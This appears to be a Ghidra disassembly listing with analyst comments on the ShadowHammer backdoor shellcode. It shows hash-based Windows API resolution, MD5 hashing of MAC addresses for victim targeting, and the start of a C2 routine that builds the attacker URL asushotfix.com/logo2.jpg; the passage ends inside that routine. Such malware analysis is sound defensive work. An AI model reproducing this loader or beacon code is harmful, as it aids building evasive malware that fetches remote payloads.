;pipeDecoder.py
                            ;~/samples/ShadowHammer/decoder 22016
                            ;
                            ;[send: 0x195e00, decoded: 0x5600]
ram:00000000    c4              ??                  C4h                                     
ram:00000001    3a              ??                  3Ah    :                                
ram:00000002    c9              ??                  C9h                                     
ram:00000003    c0              ??                  C0h                                     
ram:00000004    59              ??                  59h    Y                                
ram:00000005    29              ??                  29h    )                                
ram:00000006    29              ??                  29h    )                                
ram:00000007    86              ??                  86h                                     
ram:00000008    00560000        uint                5600h                                   
ram:0000000c    00              ??                  00h                                     
ram:0000000d    00              ??                  00h                                     
ram:0000000e    00              ??                  00h                                     
ram:0000000f    00              ??                  00h                                     
                            ;********************************************************************************************************
                            ;*                                               FUNCTION                                               *
                            ;********************************************************************************************************
                            ;int getAddrByHash(IMAGE_DOS_HEADER * dllbase, uint hash)
          ;dllbase       IMAGE_DOS_H...       4                      ;XREF[2,0]:   00000017,0000007d
          ;hash          uint                 8                      ;XREF[1,0]:   00000083
          ;export_dir    IMAGE_EXPOR...     EAX                      ;XREF[1,0]:   00000021
          ;name          char *             ECX                      ;XREF[1,0]:   00000073
          ;i             int                 -8                      ;XREF[4,0]:   00000039,0000004a,00000088,0000008b
          ;running_hash  int                 -c                      ;XREF[4,0]:   00000057,00000068,00000076,00000080
          ;local_10      undefined4         -10                      ;XREF[2,0]:   0000003c,0000008e
          ;local_14      undefined4         -14                      ;XREF[2,0]:   0000005f,00000095
          ;c             char           HASH...                      
                                                          ;XREF[3,0]:   000002ae,00001015,00001028
ram:00000010    55              PUSH                EBP                                     
ram:00000011    8bec            MOV                 EBP,ESP                                 
ram:00000013    83ec10          SUB                 ESP,0x10                                
ram:00000016    53              PUSH                EBX                                     
ram:00000017    8b5d08          MOV                 EBX,dword ptr [EBP + dllbase+0x4]       
ram:0000001a    8b433c          MOV                 EAX,dword ptr [EBX + 0x3c]              
ram:0000001d    8b441878        MOV                 EAX,dword ptr [EAX + EBX*0x1 + 0x78]    
                            ;from base address of dll `dllbase` get the export directory `export_dir` by traversing the PE header though the optional header, etc.
ram:00000021    03c3            ADD                 export_dir,EBX                          
ram:00000023    8b5020          MOV                 EDX,dword ptr [EAX + export_dir->Addr...
ram:00000026    56              PUSH                ESI                                     
ram:00000027    8b701c          MOV                 ESI,dword ptr [EAX + export_dir->Addr...
ram:0000002a    57              PUSH                EDI                                     
ram:0000002b    8b7824          MOV                 EDI,dword ptr [EAX + export_dir->Addr...
ram:0000002e    8b4018          MOV                 export_dir,dword ptr [EAX + export_di...
ram:00000031    33c9            XOR                 ECX,ECX                                 
ram:00000033    03d3            ADD                 EDX,EBX                                 
ram:00000035    03f3            ADD                 ESI,EBX                                 
ram:00000037    03fb            ADD                 EDI,EBX                                 
ram:00000039    894dfc          MOV                 dword ptr [EBP + i+0x4],ECX             
ram:0000003c    8945f4          MOV                 dword ptr [EBP +...,export_dir          
ram:0000003f    85c0            TEST                export_dir,export_dir                   
                            ;iterate over all names in the export directory
ram:00000041    7f0a            JG                  LAB_0000004d                            
                            LAB_00000043:                 ;XREF[1,0]:   00000093
ram:00000043    33c0            XOR                 export_dir,export_dir                   
                            LAB_00000045:                 ;XREF[1,0]:   00000098
ram:00000045    5f              POP                 EDI                                     
ram:00000046    5e              POP                 ESI                                     
ram:00000047    5b              POP                 EBX                                     
ram:00000048    c9              LEAVE                                                        
                            ;in case there is no match return 0
ram:00000049    c3              RET                                                          
                            LAB_0000004a:                 ;XREF[1,0]:   00000091
ram:0000004a    8b4dfc          MOV                 ECX,dword ptr [EBP + i+0x4]             
                            LAB_0000004d:                 ;XREF[1,0]:   00000041
ram:0000004d    0fb7044f        MOVZX               export_dir,word ptr [EDI + ECX*0x2]     
ram:00000051    8b0486          MOV                 export_dir,dword ptr [ESI + export_di...
ram:00000054    8b0c8a          MOV                 ECX,dword ptr [EDX + ECX*0x4]           
                            ;calculate a hash over the name, see `hash.c` for standalone implementation
ram:00000057    8365f800        AND                 dword ptr [EBP + running_hash+0x4],0x0  
ram:0000005b    03c3            ADD                 export_dir,EBX                          
ram:0000005d    03cb            ADD                 ECX,EBX                                 
ram:0000005f    8945f0          MOV                 dword ptr [EBP +...,export_dir          
ram:00000062    8a01            MOV                 export_dir,byte ptr [ECX]               
ram:00000064    84c0            TEST                export_dir,export_dir                   
ram:00000066    7418            JZ                  LAB_00000080                            
                            LAB_00000068:                 ;XREF[1,0]:   0000007b
ram:00000068    8b5df8          MOV                 EBX,dword ptr [EBP + running_hash+0x4]  
ram:0000006b    6bdb21          IMUL                EBX,EBX,0x21                            
ram:0000006e    0fbec0          MOVSX               export_dir,export_dir                   
ram:00000071    03d8            ADD                 EBX,export_dir                          
ram:00000073    41              INC                 name                                    
ram:00000074    8a01            MOV                 export_dir,byte ptr [name]              
ram:00000076    895df8          MOV                 dword ptr [EBP + running_hash+0x4],EBX  
ram:00000079    84c0            TEST                export_dir,export_dir                   
ram:0000007b    75eb            JNZ                 LAB_00000068                            
ram:0000007d    8b5d08          MOV                 EBX,dword ptr [EBP + dllbase+0x4]       
                            LAB_00000080:                 ;XREF[1,0]:   00000066
ram:00000080    8b45f8          MOV                 export_dir,dword ptr [EBP + running_h...
ram:00000083    3b450c          CMP                 export_dir,dword ptr [EBP + hash+0x4]   
                            ;if the hash matches the requested hash return the address of the function
ram:00000086    740d            JZ                  LAB_00000095                            
ram:00000088    ff45fc          INC                 dword ptr [EBP + i+0x4]                 
ram:0000008b    8b45fc          MOV                 export_dir,dword ptr [EBP + i+0x4]      
ram:0000008e    3b45f4          CMP                 export_dir,dword ptr [EBP + local_10+...
                            ;iterate over all the names in the export directory
ram:00000091    7cb7            JL                  LAB_0000004a                            
ram:00000093    ebae            JMP                 LAB_00000043                            
                            LAB_00000095:                 ;XREF[1,0]:   00000086
ram:00000095    8b45f0          MOV                 export_dir,dword ptr [EBP + local_14+...
ram:00000098    ebab            JMP                 LAB_00000045                            
                            ;********************************************************************************************************
                            ;*  FUNCTION                                                                                            *
                            ;*                                                                                                      *
                            ;*  resolves the import hashes and stores the resulting function pointers in the func_ptr_table[] array *
                            ;********************************************************************************************************
                            ;undefined import_resolution(func_ptr_table_t * func_ptr_table)
          ;func_ptr_t... func_ptr_ta...       4                      ;XREF[2,0]:   00000273,0000028e
          ;j             int                EBX                      ;XREF[1,0]:   00000271
          ;ptr           int *              ESI                      ;XREF[1,0]:   000002a8
          ;addr          int                EAX                      ;XREF[1,0]:   000002ae
          ;i             int                 -8                      ;XREF[3,0]:   00000282,000002c1,000002c4
          ;local_c       undefined4          -c                      ;XREF[3,0]:   0000026e,0000028b,000002bb
          ;local_10      undefined4         -10                      ;XREF[2,0]:   000002a0,000002a5
          ;dllBase       IMAGE_DOS_H...     -14                      ;XREF[2,0]:   0000027f,000002ab
          ;num_imports   uint[5]            -28                      ;XREF[1,4]:   000000a9,000000ac,000000f3,000000fa,00000101
          ;import_str... uint[4]            -38                      ;XREF[2,3]:   000000f0,00000187,0000018e,00000195,0000019c
          ;import_str... uint[5]            -4c                      ;XREF[2,4]:   000000dd,00000168,0000016f,00000176,0000017d
                                                                     ;             00000184
          ;import_dlls   uint[5]            -60                      ;XREF[1,4]:   000000c9,000000cf,000000da,000000ed,0000026b
          ;import_str... uint[4]            -78                      ;XREF[2,3]:   000000cc,0000014a,000000b4,000000b7,0000014d
          ;import_str... uint[6]            -90                      ;XREF[2,5]:   000000d2,00000156,000000ba,000000c0,0000015c
                                                                     ;             00000162,00000165
          ;import_str... uint[7]            -ac                      ;XREF[2,6]:   000000c3,00000108,00000112,0000011c,00000126
                                                                     ;             00000130,0000013a,00000144
          ;hashes        uint[20]           -fc                      ;XREF[2,19]:  000001a3,00000295,000001ad,000001b7,000001c1
                                                                     ;             000001cb,000001d5,000001df,000001e9,000001f3
                                                                     ;             000001fd,00000207,00000211,0000021b,00000225
                                                                     ;             0000022f,00000239,00000243,0000024d,00000257
                                                                     ;             00000261
                                                          ;XREF[1,0]:   00001040
ram:0000009a    55              PUSH                EBP                                     
ram:0000009b    8bec            MOV                 EBP,ESP                                 
ram:0000009d    81ecf8000000    SUB                 ESP,0xf8                                
ram:000000a3    53              PUSH                EBX                                     
ram:000000a4    56              PUSH                ESI                                     
ram:000000a5    57              PUSH                EDI                                     
ram:000000a6    6a06            PUSH                0x6                                     
ram:000000a8    58              POP                 EAX                                     
ram:000000a9    8945dc          MOV                 dword ptr [EBP + num_imports[0]+0x4],EAX
ram:000000ac    8945e0          MOV                 dword ptr [EBP + num_imports[1]+0x4],EAX
ram:000000af    b864006c00      MOV                 EAX,0x6c0064                            
ram:000000b4    894590          MOV                 dword ptr [EBP +...,EAX                 
ram:000000b7    894598          MOV                 dword ptr [EBP +...,EAX                 
ram:000000ba    898578ffffff    MOV                 dword ptr [impor...,EAX                 
ram:000000c0    894580          MOV                 dword ptr [EBP +...,EAX                 
                            ;kernel32.dll string
ram:000000c3    8d8558ffffff    LEA                 EAX=>import_strings0,[0xffffff58 + EBP] 
ram:000000c9    8945a4          MOV                 dword ptr [EBP + import_dlls[0]+0x4],EAX
                            ;ntdll.dll
ram:000000cc    8d458c          LEA                 EAX=>import_strings1,[EBP + -0x74]      
ram:000000cf    8945a8          MOV                 dword ptr [EBP + import_dlls[1]+0x4],EAX
ram:000000d2    8d8574ffffff    LEA                 EAX=>import_strings2,[0xffffff74 + EBP] 
ram:000000d8    33ff            XOR                 EDI,EDI                                 
ram:000000da    8945ac          MOV                 dword ptr [EBP + import_dlls[2]+0x4],EAX
                            ;IPHLPAPI.dll
ram:000000dd    8d45b8          LEA                 EAX=>import_string3,[EBP + -0x48]       
ram:000000e0    6a6c            PUSH                0x6c                                    
ram:000000e2    be6e007400      MOV                 ESI,0x74006e                            
ram:000000e7    ba6c002e00      MOV                 EDX,0x2e006c                            
ram:000000ec    59              POP                 ECX                                     
ram:000000ed    8945b0          MOV                 dword ptr [EBP + import_dlls[3]+0x4],EAX
                            ;wininet.dll
ram:000000f0    8d45cc          LEA                 EAX=>import_string4,[EBP + -0x34]       
ram:000000f3    c745e4030...    MOV                 dword ptr [EBP + num_imports[2]+0x4],0x3
ram:000000fa    c745e8010...    MOV                 dword ptr [EBP + num_imports[3]+0x4],0x1
ram:00000101    c745ec040...    MOV                 dword ptr [EBP + num_imports[4]+0x4],0x4
                            ;kernel32.dll
ram:00000108    c78558fff...    MOV                 dword ptr [impor...,0x65006b            
ram:00000112    c7855cfff...    MOV                 dword ptr [impor...,0x6e0072            
ram:0000011c    c78560fff...    MOV                 dword ptr [impor...,0x6c0065            
ram:00000126    c78564fff...    MOV                 dword ptr [impor...,0x320033            
ram:00000130    c78568fff...    MOV                 dword ptr [impor...,0x64002e            
ram:0000013a    c7856cfff...    MOV                 dword ptr [impor...,0x6c006c            
ram:00000144    89bd70ffffff    MOV                 dword ptr [impor...,EDI                 
                            ;ntdll.dll
ram:0000014a    89758c          MOV                 dword ptr [EBP +...,ESI                 
ram:0000014d    895594          MOV                 dword ptr [EBP +...,EDX                 
ram:00000150    894d9c          MOV                 dword ptr [EBP + Stack[-0x68]+0x4],ECX  
ram:00000153    897da0          MOV                 dword ptr [EBP + Stack[-0x64]+0x4],EDI  
ram:00000156    89b574ffffff    MOV                 dword ptr [impor...,ESI                 
ram:0000015c    89957cffffff    MOV                 dword ptr [impor...,EDX                 
ram:00000162    894d84          MOV                 dword ptr [EBP +...,ECX                 
ram:00000165    897d88          MOV                 dword ptr [EBP +...,EDI                 
                            ;IPHLPAPI
ram:00000168    c745b8490...    MOV                 dword ptr [EBP +...,0x500049            
ram:0000016f    c745bc480...    MOV                 dword ptr [EBP +...,0x4c0048            
ram:00000176    c745c0500...    MOV                 dword ptr [EBP +...,0x410050            
ram:0000017d    c745c4500...    MOV                 dword ptr [EBP +...,0x490050            
ram:00000184    897dc8          MOV                 dword ptr [EBP +...,EDI                 
                            ;wininet
ram:00000187    c745cc770...    MOV                 dword ptr [EBP +...,0x690077            
ram:0000018e    c745d06e0...    MOV                 dword ptr [EBP +...,0x69006e            
ram:00000195    c745d46e0...    MOV                 dword ptr [EBP +...,0x65006e            
ram:0000019c    c745d8740...    MOV                 dword ptr [EBP +...,0x74                
                            ;The hashes define the following functions (in that order):
                            ;
                            ;
                            ;    LPVOID (* VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
                            ;    DWORD (* GetModuleFileNameW)(HMODULE, LPWSTR, DWORD);
                            ;    WINBOOL (* WritePrivateProfileStringW)(LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR);
                            ;    void (* GetSystemTimeAsFileTime)(LPFILETIME);
                            ;    WINBOOL (* FileTimeToSystemTime)(FILETIME *, LPSYSTEMTIME);
                            ;    WINBOOL (* VirtualFree)(LPVOID, SIZE_T, DWORD);
                            ;    void * (* memcpy)(void *, void *, size_t);
                            ;    int (* memcmp)(void *, void *, size_t);
                            ;    void * (* memset)(void *, int, size_t);
                            ;    int (* swprintf)(wchar_t *, size_t, wchar_t *, ...);
                            ;    int (* sprintf)(char *, char *, ...);
                            ;    char * (* strncat)(char *, char *, size_t);
                            ;    int MD5Init;
                            ;    int MD5Update;
                            ;    int MD5Final;
                            ;    int GetAdaptersAddresses;
                            ;    HINTERNET (* InternetOpenA)(LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD);
                            ;    HINTERNET (* InternetOpenUrlA)(HINTERNET, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR);
                            ;    WINBOOL (* InternetQueryDataAvailable)(HINTERNET, LPDWORD, DWORD, DWORD_PTR);
                            ;    WINBOOL (* InternetReadFile)(HINTERNET, LPVOID, DWORD, LPDWORD);
                            ;
ram:000001a3    c78508fff...    MOV                 dword ptr [hashe...,0xdf894b12          
ram:000001ad    c7850cfff...    MOV                 dword ptr [hashe...,0xb5114d1e          
ram:000001b7    c78510fff...    MOV                 dword ptr [hashe...,0xe06c4b85          
ram:000001c1    c78514fff...    MOV                 dword ptr [hashe...,0x1a6f40d7          
ram:000001cb    c78518fff...    MOV                 dword ptr [hashe...,0x79ea1906          
ram:000001d5    c7851cfff...    MOV                 dword ptr [hashe...,0x7b260749          
ram:000001df    c78520fff...    MOV                 dword ptr [hashe...,0x5a370cb           
ram:000001e9    c78524fff...    MOV                 dword ptr [hashe...,0x5a3705f           
ram:000001f3    c78528fff...    MOV                 dword ptr [hashe...,0x5a3b36b           
ram:000001fd    c7852cfff...    MOV                 dword ptr [hashe...,0xf77105bd          
ram:00000207    c78530fff...    MOV                 dword ptr [hashe...,0xa1f571a6          
ram:00000211    c78534fff...    MOV                 dword ptr [hashe...,0xab4ca0df          
ram:0000021b    c78538fff...    MOV                 dword ptr [hashe...,0xc9cc0d1a          
ram:00000225    c7853cfff...    MOV                 dword ptr [hashe...,0x8922d4c9          
ram:0000022f    c78540fff...    MOV                 dword ptr [hashe...,0x314bc30           
ram:00000239    c78544fff...    MOV                 dword ptr [hashe...,0x9acb1212          
ram:00000243    c78548fff...    MOV                 dword ptr [hashe...,0x87b21b7c          
ram:0000024d    c7854cfff...    MOV                 dword ptr [hashe...,0xd19124af          
ram:00000257    c78550fff...    MOV                 dword ptr [hashe...,0xe8baa2fa          
ram:00000261    c78554fff...    MOV                 dword ptr [hashe...,0x3d840fa5          
ram:0000026b    8945b4          MOV                 dword ptr [EBP + import_dlls[4]+0x4],EAX
ram:0000026e    897df8          MOV                 dword ptr [EBP + local_c+0x4],EDI       
ram:00000271    33db            XOR                 j,j                                     
                            LAB_00000273:                 ;XREF[1,0]:   000002d3
ram:00000273    8b7508          MOV                 ESI,dword ptr [EBP + func_ptr_table+0x4]
ram:00000276    6a08            PUSH                0x8                                     
ram:00000278    57              PUSH                EDI                                     
ram:00000279    ff741da4        PUSH                dword ptr [EBP + j*0x1 + -0x5c]         
ram:0000027d    ff16            CALL                dword ptr [ESI]                         
ram:0000027f    8945f0          MOV                 dword ptr [EBP + dllBase+0x4],EAX       
ram:00000282    897dfc          MOV                 dword ptr [EBP + i+0x4],EDI             
ram:00000285    397c1ddc        CMP                 dword ptr [EBP + j*0x1 + -0x24],EDI     
ram:00000289    7e42            JLE                 LAB_000002cd                            
ram:0000028b    8b45f8          MOV                 EAX,dword ptr [EBP + local_c+0x4]       
ram:0000028e    8b4d08          MOV                 ECX,dword ptr [EBP + func_ptr_table+0x4]
ram:00000291    8d748604        LEA                 ESI,[ESI + EAX*0x4 + 0x4]               
ram:00000295    8d8508ffffff    LEA                 EAX=>hashes,[0xffffff08 + EBP]          
ram:0000029b    83c104          ADD                 ECX,0x4                                 
ram:0000029e    2bc1            SUB                 EAX,ECX                                 
ram:000002a0    8945f4          MOV                 dword ptr [EBP + local_10+0x4],EAX      
ram:000002a3    eb03            JMP                 LAB_000002a8                            
                            LAB_000002a5:                 ;XREF[1,0]:   000002cb
ram:000002a5    8b45f4          MOV                 EAX,dword ptr [EBP + local_10+0x4]      
                            LAB_000002a8:                 ;XREF[1,0]:   000002a3
ram:000002a8    ff3430          PUSH                dword ptr [EAX + ptr*0x1]               
ram:000002ab    ff75f0          PUSH                dword ptr [EBP + dllBase+0x4]           
                            ;here is a Ghidra bug(?) ... the decompiler lists register0x00000010 which can not be changed nor adapted
ram:000002ae    e85dfdffff      CALL                getAddrByHash                           ;int getAddrByHash(IMAGE_DOS_HEADER *...
ram:000002b3    59              POP                 ECX                                     
ram:000002b4    59              POP                 ECX                                     
ram:000002b5    8906            MOV                 dword ptr [ptr],addr                    
ram:000002b7    3bc7            CMP                 addr,EDI                                
ram:000002b9    7422            JZ                  LAB_000002dd                            
ram:000002bb    ff45f8          INC                 dword ptr [EBP + local_c+0x4]           
ram:000002be    83c604          ADD                 ptr,0x4                                 
ram:000002c1    ff45fc          INC                 dword ptr [EBP + i+0x4]                 
ram:000002c4    8b45fc          MOV                 addr,dword ptr [EBP + i+0x4]            
ram:000002c7    3b441ddc        CMP                 addr,dword ptr [EBP + j*0x1 + -0x24]    
ram:000002cb    7cd8            JL                  LAB_000002a5                            
                            LAB_000002cd:                 ;XREF[1,0]:   00000289
ram:000002cd    83c304          ADD                 j,0x4                                   
ram:000002d0    83fb14          CMP                 j,0x14                                  
ram:000002d3    7c9e            JL                  LAB_00000273                            
ram:000002d5    33c0            XOR                 addr,addr                               
ram:000002d7    40              INC                 addr                                    
                            LAB_000002d8:                 ;XREF[1,0]:   000002df
ram:000002d8    5f              POP                 EDI                                     
ram:000002d9    5e              POP                 ptr                                     
ram:000002da    5b              POP                 j                                       
ram:000002db    c9              LEAVE                                                        
ram:000002dc    c3              RET                                                          
                            LAB_000002dd:                 ;XREF[1,0]:   000002b9
ram:000002dd    33c0            XOR                 addr,addr                               
ram:000002df    ebf7            JMP                 LAB_000002d8                            
                            ;********************************************************************************************************
                            ;*Query `GetAdapterAddresses` and depending on the `only_check_count` parameter only return the number ...*
                            ;********************************************************************************************************
                            ;int md5_mac(void * buffer, int only_check_count, func_ptr_table_t * func_ptrs)
          ;buffer        void *               4                      ;XREF[1,0]:   00000328
          ;only_check... int                  8                      ;XREF[1,0]:   00000333
          ;func_ptrs     func_ptr_ta...     ESI                      
          ;ret           ULONG              EAX                      ;XREF[1,0]:   000002f6
          ;alloced_bu... LPVOID             EAX                      ;XREF[1,0]:   0000030d
          ;ret2          int                EAX                      ;XREF[1,0]:   0000031a
          ;size          SIZE_T              -8                      ;XREF[4,0]:   000002eb,000002f3,00000309,00000312
          ;buffer_ptr    void *              -c                      ;XREF[3,0]:   0000032b,00000359,00000365
          ;num_adapters  int                -10                      ;XREF[3,0]:   00000321,00000362,00000370
          ;md5_ctx_ish   uint[27]           -7c                      ;XREF[3,1]:   00000338,00000345,0000034c,00000355
                                                          ;XREF[2,0]:   00000f2a,00000f57
ram:000002e1    55              PUSH                EBP                                     
ram:000002e2    8bec            MOV                 EBP,ESP                                 
ram:000002e4    83ec78          SUB                 ESP,0x78                                
ram:000002e7    53              PUSH                EBX                                     
ram:000002e8    57              PUSH                EDI                                     
ram:000002e9    33db            XOR                 EBX,EBX                                 
ram:000002eb    8d45fc          LEA                 EAX=>size,[EBP + -0x4]                  
ram:000002ee    50              PUSH                EAX                                     
ram:000002ef    53              PUSH                EBX                                     
ram:000002f0    53              PUSH                EBX                                     
ram:000002f1    53              PUSH                EBX                                     
ram:000002f2    53              PUSH                EBX                                     
ram:000002f3    895dfc          MOV                 dword ptr [EBP + size+0x4],EBX          
ram:000002f6    ff5640          CALL                dword ptr [ESI + func_ptrs->GetAdapte...
ram:000002f9    83f86f          CMP                 ret,ERROR_BUFFER_OVERFLOW               
ram:000002fc    7404            JZ                  LAB_00000302                            
ram:000002fe    33c0            XOR                 ret,ret                                 
ram:00000300    eb71            JMP                 LAB_00000373                            
                            LAB_00000302:                 ;XREF[1,0]:   000002fc
ram:00000302    6a04            PUSH                PAGE_READWRITE                          
ram:00000304    6800100000      PUSH                MEM_COMMIT                              
ram:00000309    ff75fc          PUSH                dword ptr [EBP + size+0x4]              
ram:0000030c    53              PUSH                EBX                                     
ram:0000030d    ff5604          CALL                dword ptr [ESI + func_ptrs->VirtualAl...
ram:00000310    8bf8            MOV                 EDI,alloced_buffer                      
ram:00000312    8d45fc          LEA                 alloced_buffer=>size,[EBP + -0x4]       
ram:00000315    50              PUSH                alloced_buffer                          
ram:00000316    57              PUSH                EDI                                     
ram:00000317    53              PUSH                EBX                                     
ram:00000318    53              PUSH                EBX                                     
ram:00000319    53              PUSH                EBX                                     
ram:0000031a    ff5640          CALL                dword ptr [ESI + func_ptrs->GetAdapte...
ram:0000031d    85c0            TEST                ret2,ret2                               
ram:0000031f    754f            JNZ                 LAB_00000370                            
ram:00000321    895df4          MOV                 dword ptr [EBP + num_adapters+0x4],EBX  
ram:00000324    3bfb            CMP                 EDI,EBX                                 
ram:00000326    7448            JZ                  LAB_00000370                            
ram:00000328    8b4508          MOV                 ret2,dword ptr [EBP + buffer+0x4]       
ram:0000032b    8945f8          MOV                 dword ptr [EBP + buffer_ptr+0x4],ret2   
                            LAB_0000032e:                 ;XREF[1,0]:   0000036e
ram:0000032e    395f34          CMP                 dword ptr [EDI + 0x34],EBX              
ram:00000331    7636            JBE                 LAB_00000369                            
ram:00000333    395d0c          CMP                 dword ptr [EBP +...,EBX                 
ram:00000336    752a            JNZ                 LAB_00000362                            
ram:00000338    8d4588          LEA                 ret2=>md5_ctx_ish,[EBP + -0x78]         
ram:0000033b    50              PUSH                ret2                                    
ram:0000033c    ff5634          CALL                dword ptr [ESI + func_ptrs->MD5Init]    
ram:0000033f    6a06            PUSH                0x6                                     
ram:00000341    8d472c          LEA                 ret2,[EDI + 0x2c]                       
ram:00000344    50              PUSH                ret2                                    
ram:00000345    8d4588          LEA                 ret2=>md5_ctx_ish,[EBP + -0x78]         
ram:00000348    50              PUSH                ret2                                    
ram:00000349    ff5638          CALL                dword ptr [ESI + func_ptrs->MD5Update]  
ram:0000034c    8d4588          LEA                 ret2=>md5_ctx_ish,[EBP + -0x78]         
ram:0000034f    50              PUSH                ret2                                    
ram:00000350    ff563c          CALL                dword ptr [ESI + func_ptrs->MD5Final]   
ram:00000353    6a10            PUSH                0x10                                    
ram:00000355    8d45e0          LEA                 ret2=>md5_ctx_ish[22],[EBP + -0x20]     
ram:00000358    50              PUSH                ret2                                    
ram:00000359    ff75f8          PUSH                dword ptr [EBP + buffer_ptr+0x4]        
ram:0000035c    ff561c          CALL                dword ptr [ESI + func_ptrs->memcpy]     
ram:0000035f    83c40c          ADD                 ESP,0xc                                 
                            LAB_00000362:                 ;XREF[1,0]:   00000336
ram:00000362    ff45f4          INC                 dword ptr [EBP + num_adapters+0x4]      
ram:00000365    8345f814        ADD                 dword ptr [EBP + buffer_ptr+0x4],0x14   
                            LAB_00000369:                 ;XREF[1,0]:   00000331
ram:00000369    8b7f08          MOV                 EDI,dword ptr [EDI + 0x8]               
ram:0000036c    3bfb            CMP                 EDI,EBX                                 
ram:0000036e    75be            JNZ                 LAB_0000032e                            
                            LAB_00000370:                 ;XREF[2,0]:   0000031f,00000326
ram:00000370    8b45f4          MOV                 ret2,dword ptr [EBP + num_adapters+0x4] 
                            LAB_00000373:                 ;XREF[1,0]:   00000300
ram:00000373    5f              POP                 EDI                                     
ram:00000374    5b              POP                 EBX                                     
ram:00000375    c9              LEAVE                                                        
ram:00000376    c3              RET                                                          
                            ;********************************************************************************************************
                            ;*                                               FUNCTION                                               *
                            ;********************************************************************************************************
                            ;void C2(mac_md5_list_entry_t * md5s_of_thismachine, func_ptr_table_t * func_ptrs)
          ;md5s_of_th... mac_md5_lis...       4                      ;XREF[4,0]:   0000043a,000004c0,000004ec,00000500
          ;func_ptrs     func_ptr_ta...     ESI                      
          ;__src         uint *             EAX                      ;XREF[1,0]:   00000465
          ;__dest        char *             EDI                      ;XREF[1,0]:   00000472
          ;hInternet     HINTERNET          EAX                      ;XREF[1,0]:   000004a6
          ;buffer        uint *             EAX                      ;XREF[1,0]:   000004d4
          ;num_bytes_... DWORD               -8                      ;XREF[4,0]:   000004df,000004fc,00000503,00000509
          ;question_m... undefined2[2]       -c                      ;XREF[2,0]:   0000038e,0000047d
          ;fmt_str       uint[2]            -14                      ;XREF[2,1]:   0000041d,0000044d,00000424
          ;i             uint               -18                      ;XREF[4,0]:   00000427,0000043d,0000046f,00000475
          ;num_bytes_... DWORD              -1c                      ;XREF[3,0]:   000004db,000004e2,000004f2
          ;hex_str       uint[3]            -28                      ;XREF[3,1]:   00000432,00000451,00000462,0000045a
          ;local_2c      undefined4         -2c                      ;XREF[1,0]:   00000414
          ;local_30      undefined4         -30                      ;XREF[1,0]:   00000411
          ;local_34      undefined4         -34                      ;XREF[1,0]:   0000040e
          ;local_38      undefined4         -38                      ;XREF[1,0]:   0000040b
          ;local_3c      undefined4         -3c                      ;XREF[1,0]:   00000408
          ;local_40      undefined4         -40                      ;XREF[1,0]:   00000405
          ;local_44      undefined4         -44                      ;XREF[1,0]:   00000402
          ;local_48      undefined4         -48                      ;XREF[1,0]:   000003ff
          ;local_4c      undefined4         -4c                      ;XREF[1,0]:   000003fc
          ;local_50      undefined4         -50                      ;XREF[1,0]:   000003f9
          ;local_54      undefined4         -54                      ;XREF[1,0]:   000003f6
          ;local_58      undefined4         -58                      ;XREF[1,0]:   000003f3
          ;local_5c      undefined4         -5c                      ;XREF[1,0]:   000003f0
          ;url           int[9]             -98                      ;XREF[4,8]:   00000394,00000481,00000494,000004b5,0000039e
                                                                     ;             000003a8,000003b2,000003bc,000003c6,000003cd
                                                                     ;             000003d4,000003db
          ;beacon_str    char[64]           -d8                      ;XREF[3,0]:   00000386,0000042a,0000048d
          ;b             byte           HASH...                      
                                                          ;XREF[1,0]:   00000f9a
ram:00000377    55              PUSH                EBP                                     
ram:00000378    8bec            MOV                 EBP,ESP                                 
ram:0000037a    81ecd4000000    SUB                 ESP,0xd4                                
ram:00000380    53              PUSH                EBX                                     
ram:00000381    33db            XOR                 EBX,EBX                                 
ram:00000383    57              PUSH                EDI                                     
ram:00000384    6a40            PUSH                0x40                                    
ram:00000386    8d852cffffff    LEA                 EAX=>beacon_str,[0xffffff2c + EBP]      
ram:0000038c    53              PUSH                EBX                                     
ram:0000038d    50              PUSH                EAX                                     
                            ;SimpleStackStrings.py: ?https://asushotfix.com/logo2.jpg
ram:0000038e    66c745f83f00    MOV                 word ptr [EBP + ...,0x3f                
                            ;SimpleStackStrings.py: https://asushotfix.com/logo2.jpg
ram:00000394    c7856cfff...    MOV                 dword ptr [url[0]+0x4 + EBP],0x70747468 
ram:0000039e    c78570fff...    MOV                 dword ptr [url[1]+0x4 + EBP],0x2f2f3a73 
ram:000003a8    c78574fff...    MOV                 dword ptr [url[2]+0x4 + EBP],0x73757361 
ram:000003b2    c78578fff...    MOV                 dword ptr [url[3]+0x4 + EBP],0x66746f68 
ram:000003bc    c7857cfff...    MOV                 dword ptr [url[4]+0x4 + EBP],0x632e7869 
ram:000003c6    c745806f6...    MOV                 dword ptr [EBP + url[5]+0x4],0x6c2f6d6f 
ram:000003cd    c745846f6...    MOV                 dword ptr [EBP + url[6]+0x4],0x326f676f 
ram:000003d4    c745882e6...    MOV                 dword ptr [EBP + url[7]+0x4],0x67706a2e 
ram:000003db    895d8c          MOV                 dword ptr [EBP + url[8]+0x4],EBX        
ram:000003de    895d90          MOV                 dword ptr [EBP + Stack[-0x74]+0x4],EBX  
ram:000003e1    895d94          MOV                 dword ptr [EBP + Stack[-0x70]+0x4],EBX  
ram:000003e4    895d98          MOV                 dword ptr [EBP + Stack[-0x6c]+0x4],EBX  
ram:000003e7    895d9c          MOV                 dword ptr [EBP + Stack[-0x68]+0x4],EBX  
ram:000003ea    895da0          MOV                 dword ptr [EBP + Stack[-0x64]+0x4],EBX  
ram:000003ed    895da4          MOV                 dword ptr [EBP + Stack[-0x60]+0x4],EBX  
ram:000003f0    895da8          MOV                 dword ptr [EBP + local_5c+0x4],EBX      
ram:000003f3    895dac          MOV                 dword ptr [EBP + local_58+0x4],EBX      
ram:000003f6    895db0          MOV                 dword ptr [EBP + local_54+0x4],EBX      
ram:000003f9    895db4          MOV                 dword ptr [EBP + local_50+0x4],EBX      
ram:000003fc    895db8          MOV                 dword ptr [EBP + local_4c+0x4],EBX      
ram:000003ff    895dbc          MOV                 dword ptr [EBP + local_48+0x4],EBX      
ram:00000402    895dc0          MOV                 dword ptr [EBP + local_44+0x4],EBX      
ram:00000405    895dc4          MOV                 dword ptr [EBP + local_40+0x4],EBX      
ram:00000408    895dc8          MOV                 dword ptr [EBP + local_3c+0x4],EBX      
ram:0000040b    895dcc          MOV                 dword ptr [EBP + local_38+0x4],EBX      
ram:0000040e    895dd0          MOV                 dword ptr [EBP + local_34+0x4],EBX      
